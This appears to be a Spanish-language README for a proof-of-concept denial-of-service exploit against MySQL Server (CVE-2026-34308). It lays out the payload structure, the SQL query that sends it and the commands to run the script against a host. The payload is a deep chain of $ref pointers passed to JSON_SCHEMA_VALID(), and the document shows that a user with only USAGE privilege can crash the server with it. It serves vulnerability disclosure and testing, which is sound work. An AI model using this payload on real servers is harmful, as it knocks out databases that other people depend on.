
Prueba de concepto para CVE-2026-34308, una vulnerabilidad de denegación de servicio en el componente JSON de MySQL Server. Demuestra el agotamiento de la pila mediante cadenas profundas de $ref en JSON_SCHEMA_VALID(), provocando el bloqueo del servidor. Incluye script PoC en Python y análisis técnico.
Boletín oficial del proveedor: Oracle Critical Patch Update Advisory — April 2026.
Vulnerabilidad en Oracle MySQL Server (componente: Server: JSON).
Versiones afectadas compatibles: 8.0.0–8.0.45, 8.4.0–8.4.8 y 9.0.0–9.6.0.
La vulnerabilidad permite que un usuario con privilegios bajos provoque un bloqueo del MySQL Server.
Puntuación base CVSS 3.1: 6.5 (solo afecta a la disponibilidad)
Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Mecanismo observado: Recursión profunda cuando MySQL evalúa JSON_SCHEMA_VALID() contra un JSON Schema que contiene una larga cadena lineal de punteros $ref, sin un límite de profundidad efectivo durante la compilación/validación del esquema, lo que provoca el agotamiento de la pila y un cuelgue o un bloqueo repetible.
Cadena de llamadas (conceptual):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ validación interna del JSON schema → resolución repetida de $ref
→ agotamiento de la pila → cuelgue / bloqueo
Para este PoC, cualquier cuenta MySQL autenticada es suficiente: basta con otorgar solo USAGE sobre *.* (el privilegio mínimo de MySQL —capacidad de conexión— sin SELECT, acceso a tablas ni roles de administrador). Si el usuario puede abrir una sesión y ejecutar SELECT JSON_SCHEMA_VALID(...), puede desencadenar la condición.
poc_schema_dos.pyConstruye un JSON schema con una cadena lineal de $ref (profundidad de ejemplo 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
Enviado a MySQL como: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
En pruebas contra versiones vulnerables, se ha observado que bloquea el servidor en aproximadamente un segundo (el tiempo exacto depende del hardware, las opciones de compilación y la profundidad del esquema).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
Para probar una cuenta con privilegios bajos:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Después: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: Script de prueba de conceptoREADME.md: Este archivo